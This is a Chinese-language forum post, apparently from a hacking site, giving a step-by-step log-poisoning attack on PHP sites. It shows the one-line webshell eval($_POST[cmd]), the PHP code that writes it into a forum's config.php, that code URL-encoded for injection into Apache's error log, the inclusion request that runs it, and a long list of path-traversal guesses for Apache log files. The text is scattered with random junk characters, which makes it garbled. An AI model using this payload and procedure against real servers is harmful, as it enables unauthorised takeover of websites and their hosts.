php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马
$ p6 m7 u0 W0 I  n$ v<?eval($_POST[cmd]);?>   

到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
" `! A: @5 e% y5 e( [! `fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
  E* d- l  N; ?! \6 yfclose($fp);?>   //在config.php里写入一句木马语句
, h( F2 K. [$ `; q
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
1 E* @& K6 _, I: @8 L; \; }转换为
9 h/ o1 ~1 i' m. w7 A! F+ O%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
; ], X- _# M' Y/ P& j# \config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
4 w5 p+ ?0 V; ]) V$ q2 N%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
5 Z' U6 m5 L% g- p% Z! I我们提交
) v! u7 l; D$ }% y, u- ^! R$ bhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
1 @, U6 \; u* T9 @! p2 `%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
& @8 @& R+ r( ]# H! d9 S2 ?: jcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
- i, Q) X5 v8 p1 D& e/ R
. S& G) a& {+ e% x6 s8 z, a$ e这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
2 j4 a5 T8 X/ i4 zhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
4 r/ u- u1 ^. z( e0 n9 h
这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
* D/ Q. U2 [# f; m0 v/ G/ v7 Zhttp://www.xxx.com/forum/config.php这个就成了我们的webshell
' \# x( J& h% X, {' @  L4 ?直接用lanker的客户端一连，主机就是你的了。
2 Z* E& }. E6 ]) V  P# M
* A9 @5 {; F4 u# q, ?' JPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
5 k- y+ P3 ]3 N; Z7 O' V../../../../../../../../../../var/log/httpd/access_log
" w1 H8 b3 i  H$ v* Z# U9 c: ]../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
, M" V$ F8 ^  Q) M../apache/logs/access.log
../../apache/logs/error.log
" b7 f; x5 S8 z2 `. B- I5 q- \) P../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
/ L* z7 ~9 `( V, H" N+ h) K& x! P../../../../../../../../../../etc/httpd/logs/error_log
2 y6 N9 S" t7 \+ m../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
* X/ J+ ?/ L  c6 c8 N../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
3 V- n. ~- g0 Q; _8 g../../../../../../../../../../usr/local/apache/logs/access.log
, k; ]8 b$ r1 t../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
. `- o) W- i8 U. \3 h& `/ o../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
' z# u6 R/ J4 W! L../../../../../../../../../../var/log/apache/error_log
+ G8 I: z$ ?7 G, M  x; @../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
0 F( Z" X" h* z3 o# G" L0 Q../../../../../../../../../../var/log/error_log
( v9 p8 H: Q! }9 D/var/log/httpd/access_log      
% L  S* f4 c7 a0 q/var/log/httpd/error_log     
. N7 B% \  z! ~  n) D) w) V, g3 T. I../apache/logs/error.log     
1 l: \, c9 G1 U" ]  O../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
; g  @% f4 h0 w- b; m../../../apache/logs/error.log
% U9 J/ i. ~' p) D! ?../../../apache/logs/access.log
/etc/httpd/logs/acces_log
% q' Q1 @7 N, _! w( I; K/etc/httpd/logs/acces.log
9 U% J; b$ ?6 o7 D: z/etc/httpd/logs/error_log
, F$ H$ \, m7 p5 u/ |# V( ]/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
2 H% R' ~6 u# }0 p7 `' p0 y( G4 y/usr/local/apache/logs/access.log
# O0 d+ a. G9 Q+ P" |/var/log/apache/access_log
3 ~4 p& z1 I1 k1 B! b/var/log/apache/access.log
7 }+ M9 Z3 ?, u, q' S) R. M/var/log/access_log
1 d  I3 N3 ~" I3 q1 b# J7 }! \7 d! Z, v/var/www/logs/error_log
0 w6 m9 k* p: H5 l& G) Z/var/www/logs/error.log
/usr/local/apache/logs/error_log
3 [6 M* P: x8 M4 V0 ?/usr/local/apache/logs/error.log
% I2 r4 W; u/ x: p$ P/var/log/apache/error_log
8 |5 ^$ F% }* {3 y8 T( Q9 o/var/log/apache/error.log
& t6 t: A3 l  y1 A9 ^% S- S0 o! o/var/log/access_log
, T8 W$ w4 Y$ U/ U! F* Z/var/log/error_log